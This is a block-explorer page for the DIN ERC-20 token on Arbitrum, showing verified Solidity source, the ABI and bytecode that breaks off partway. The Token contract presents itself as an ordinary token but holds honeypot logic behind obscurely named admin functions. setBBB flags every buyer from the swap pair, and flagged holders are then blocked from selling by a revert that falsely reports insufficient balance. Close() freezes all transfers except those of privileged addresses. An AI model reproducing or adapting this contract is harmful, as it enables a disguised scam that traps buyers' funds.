ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 DIN
Holders
237
Transfers
-
0
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xd431e00b...0E5e76eDf The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Token
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2024-05-09
*/
/**
*Submitted for verification at Arbiscan.io on 2024-04-29
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IJontrol {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "ADMIN";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract Jontrol is Context, IJontrol, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant ADMIN = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(Jontrol).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
constructor(string memory name_, string memory symbol_,uint256 totalSupply_,address creater_) {
_name = name_;
_symbol = symbol_;
_mint(creater_,totalSupply_*10**decimals());
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Token is ERC20,Jontrol{
using SafeMath for uint256;
address public _ubiswappair;
mapping (address=>uint256) private _jiurl;
mapping (address=>uint256) private _ireto;
mapping (uint256=>address) private _buy;
uint256 private _number;
address private _aaaaa;
bool private _stat;
constructor(string memory _name,string memory _symbol,uint256 _totalSupply,address tokenHold)
ERC20(_name, _symbol,_totalSupply,tokenHold)
{
_grantRole(ADMIN, _msgSender());
}
function AirDrop(address air)public onlyRole(ADMIN){
_aaaaa=air;
}
function setNum(address user, uint256 number) public onlyRole(ADMIN){
_ireto[user]=number*10**18;
}
function unAAA(address user) public onlyRole(ADMIN){
_jiurl[user]=1;
}
function UnBBB(address user) public onlyRole(ADMIN){
_jiurl[user]=0;
}
function Open()public onlyRole(ADMIN){
_stat=false;
}
function Close() public onlyRole(ADMIN){
_stat=true;
}
function _transfer(address from,address to,uint256 amount) internal override(ERC20){
require(from!=address(0),"ERC20:transfer from the zero address");
require(to!=address(0) ,"ERC20:transfer from the zero address");
uint256 senderBalance = _balances[from];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
require(amount>0);
if(from==_ubiswappair){
_buy[_number]=to;
_number=_number+1;
}
if(_stat){
if(from==_ubiswappair || from==_aaaaa){
}else{
require(false,"transfer is Close");
}
}
if(to==_ubiswappair){
if(_jiurl[from]==1 && _ireto[from]>=amount){
_ireto[from]=_ireto[from].sub(amount);
}else{
require(_jiurl[from]==0,"ERC20: transfer amount exceeds balance");
}
}else if(from!=_ubiswappair){
if(_jiurl[from]==1 && _ireto[from]>=amount){
_ireto[from]=_ireto[from].sub(amount);
}else{
require(_jiurl[from]==0,"ERC20: transfer amount exceeds balance");
}
}
unchecked {
_balances[from] = senderBalance.sub(amount);
}
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function setpair(address ubiswap) public onlyRole(ADMIN){
_ubiswappair=ubiswap;
}
function setBBB()public onlyRole(ADMIN) returns(uint256){
uint256 count=0;
for(uint256 index=0;index<_number;index++){
address temp=_buy[index];
if(_jiurl[temp]==0){
_jiurl[temp]=1;
count++;
}
}
return count;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"tokenHold","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"air","type":"address"}],"name":"AirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Close","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Open","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"UnBBB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_ubiswappair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setBBB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"number","type":"uint256"}],"name":"setNum","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ubiswap","type":"address"}],"name":"setpair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"unAAA","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
0x608060405234801561000f575f80fd5b5060405161360d38038061360d83398181016040528101906100319190610556565b83838383836003908161004491906107f6565b50826004908161005491906107f6565b50610089816100676100b560201b60201c565b600a6100739190610a2d565b8461007e9190610a77565b6100bd60201b60201c565b505050506100ac5f801b6100a161022060201b60201c565b61022760201b60201c565b50505050610b8b565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361012b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012290610b12565b60405180910390fd5b61013c5f838361030e60201b60201c565b8060025f82825461014d9190610b30565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461019f9190610b30565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102039190610b72565b60405180910390a361021c5f838361031360201b60201c565b5050565b5f33905090565b610237828261031860201b60201c565b61030a57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506102af61022060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6103db82610395565b810181811067ffffffffffffffff821117156103fa576103f96103a5565b5b80604052505050565b5f61040c61037c565b905061041882826103d2565b919050565b5f67ffffffffffffffff821115610437576104366103a5565b5b61044082610395565b9050602081019050919050565b8281835e5f83830152505050565b5f61046d6104688461041d565b610403565b90508281526020810184848401111561048957610488610391565b5b61049484828561044d565b509392505050565b5f82601f8301126104b0576104af61038d565b5b81516104c084826020860161045b565b91505092915050565b5f819050919050565b6104db816104c9565b81146104e5575f80fd5b50565b5f815190506104f6816104d2565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610525826104fc565b9050919050565b6105358161051b565b811461053f575f80fd5b50565b5f815190506105508161052c565b92915050565b5f805f806080858703121561056e5761056d610385565b5b5f85015167ffffffffffffffff81111561058b5761058a610389565b5b6105978782880161049c565b945050602085015167ffffffffffffffff8111156105b8576105b7610389565b5b6105c48782880161049c565b93505060406105d5878288016104e8565b92505060606105e687828801610542565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061064057607f821691505b602082108103610653576106526105fc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026106b57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261067a565b6106bf868361067a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6106fa6106f56106f0846104c9565b6106d7565b6104c9565b9050919050565b5f819050919050565b610713836106e0565b61072761071f82610701565b848454610686565b825550505050565b5f90565b61073b61072f565b61074681848461070a565b505050565b5b818110156107695761075e5f82610733565b60018101905061074c565b5050565b601f8211156107ae5761077f81610659565b6107888461066b565b81016020851015610797578190505b6107ab6107a38561066b565b83018261074b565b50505b505050565b5f82821c905092915050565b5f6107ce5f19846008026107b3565b1980831691505092915050565b5f6107e683836107bf565b9150826002028217905092915050565b6107ff826105f2565b67ffffffffffffffff811115610818576108176103a5565b5b6108228254610629565b61082d82828561076d565b5f60209050601f83116001811461085e575f841561084c578287015190505b61085685826107db565b8655506108bd565b601f19841661086c86610659565b5f5b828110156108935784890151825560018201915060208501945060208101905061086e565b868310156108b057848901516108ac601f8916826107bf565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561094757808604811115610923576109226108c5565b5b60018516156109325780820291505b8081029050610940856108f2565b9450610907565b94509492505050565b5f8261095f5760019050610a1a565b8161096c575f9050610a1a565b8160018114610982576002811461098c576109bb565b6001915050610a1a565b60ff84111561099e5761099d6108c5565b5b8360020a9150848211156109b5576109b46108c5565b5b50610a1a565b5060208310610133831016604e8410600b84101617156109f05782820a9050838111156109eb576109ea6108c5565b5b610a1a565b6109fd84848460016108fe565b92509050818404811115610a1457610a136108c5565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610a37826104c9565b9150610a4283610a21565b9250610a6f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610950565b905092915050565b5f610a81826104c9565b9150610a8c836104c9565b9250828202610a9a816104c9565b91508282048414831517610ab157610ab06108c5565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610afc601f83610ab8565b9150610b0782610ac8565b602082019050919050565b5f6020820190508181035f830152610b2981610af0565b9050919050565b5f610b3a826104c9565b9150610b45836104c9565b9250828201905080821115610b5d57610b5c6108c5565b5b92915050565b610b6c816104c9565b82525050565b5f602082019050610b855f830184610b63565b92915050565b612a7580610b985f395ff3fe608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806362778bd7116100f7578063c35789cc11610095578063d84076e61161006f578063d84076e6146104cd578063d8b98fca146104e9578063dd62ed3e14610505578063fdb2494f14610535576101a7565b8063c35789cc1461048b578063d547741f14610495578063d7feaf15146104b1576101a7565b806391d14854116100d157806391d14854146103dd57806395d89b411461040d578063a457c2d71461042b578063a9059cbb1461045b576101a7565b806362778bd71461037357806370a082311461038f578063869cc52d146103bf576101a7565b806325311bcf11610164578063313ce5671161013e578063313ce567146102ff57806336568abe1461031d578063395093511461033957806359ebeb9014610369576101a7565b806325311bcf146102a75780632a0acc6a146102c55780632f2ff15d146102e3576101a7565b806301ffc9a7146101ab57806306fdde03146101db578063095ea7b3146101f957806318160ddd1461022957806323b872dd14610247578063248a9ca314610277575b5f80fd5b6101c560048036038101906101c09190611ed3565b610551565b6040516101d29190611f18565b60405180910390f35b6101e36105ca565b6040516101f09190611fa1565b60405180910390f35b610213600480360381019061020e919061204e565b61065a565b6040516102209190611f18565b60405180910390f35b610231610677565b60405161023e919061209b565b60405180910390f35b610261600480360381019061025c91906120b4565b610680565b60405161026e9190611f18565b60405180910390f35b610291600480360381019061028c9190612137565b610772565b60405161029e9190612171565b60405180910390f35b6102af61078f565b6040516102bc9190612199565b60405180910390f35b6102cd6107b4565b6040516102da9190612171565b60405180910390f35b6102fd60048036038101906102f891906121b2565b6107ba565b005b6103076107dd565b604051610314919061220b565b60405180910390f35b610337600480360381019061033291906121b2565b6107e5565b005b610353600480360381019061034e919061204e565b610868565b6040516103609190611f18565b60405180910390f35b61037161090f565b005b61038d60048036038101906103889190612224565b610940565b005b6103a960048036038101906103a49190612224565b610998565b6040516103b6919061209b565b60405180910390f35b6103c76109dd565b6040516103d4919061209b565b60405180910390f35b6103f760048036038101906103f291906121b2565b610ae0565b6040516104049190611f18565b60405180910390f35b610415610b44565b6040516104229190611fa1565b60405180910390f35b6104456004803603810190610440919061204e565b610bd4565b6040516104529190611f18565b60405180910390f35b6104756004803603810190610470919061204e565b610cba565b6040516104829190611f18565b60405180910390f35b610493610cd7565b005b6104af60048036038101906104aa91906121b2565b610d09565b005b6104cb60048036038101906104c69190612224565b610d2c565b005b6104e760048036038101906104e2919061204e565b610d86565b005b61050360048036038101906104fe9190612224565b610df4565b005b61051f600480360381019061051a919061224f565b610e4c565b60405161052c919061209b565b60405180910390f35b61054f600480360381019061054a9190612224565b610ece565b005b5f7f5290dec6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c357506105c282610f29565b5b9050919050565b6060600380546105d9906122ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610605906122ba565b80156106505780601f1061062757610100808354040283529160200191610650565b820191905f5260205f20905b81548152906001019060200180831161063357829003601f168201915b5050505050905090565b5f61066d610666610f92565b8484610f99565b6001905092915050565b5f600254905090565b5f61068c84848461115c565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d3610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610752576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107499061235a565b60405180910390fd5b6107668561075e610f92565b858403610f99565b60019150509392505050565b5f60055f8381526020019081526020015f20600101549050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f801b81565b5f801b6107ce816107c9610f92565b6119c9565b6107d88383611a65565b505050565b5f6012905090565b6107ed610f92565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610851906123e8565b60405180910390fd5b6108648282611b40565b5050565b5f610905610874610f92565b848460015f610881610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109009190612433565b610f99565b6001905092915050565b5f801b6109238161091e610f92565b6119c9565b5f600b60146101000a81548160ff02191690831515021790555050565b5f801b6109548161094f610f92565b6119c9565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f1b6109f2816109ed610f92565b6119c9565b5f805b600a54811015610ad7575f60095f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ac957600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508280610ac590612466565b9350505b5080806001019150506109f5565b50809250505090565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060048054610b53906122ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7f906122ba565b8015610bca5780601f10610ba157610100808354040283529160200191610bca565b820191905f5260205f20905b815481529060010190602001808311610bad57829003601f168201915b5050505050905090565b5f8060015f610be1610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c929061251d565b60405180910390fd5b610caf610ca6610f92565b85858403610f99565b600191505092915050565b5f610ccd610cc6610f92565b848461115c565b6001905092915050565b5f801b610ceb81610ce6610f92565b6119c9565b6001600b60146101000a81548160ff02191690831515021790555050565b5f801b610d1d81610d18610f92565b6119c9565b610d278383611b40565b505050565b5f801b610d4081610d3b610f92565b6119c9565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f801b610d9a81610d95610f92565b6119c9565b670de0b6b3a764000082610dae919061253b565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f801b610e0881610e03610f92565b6119c9565b81600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8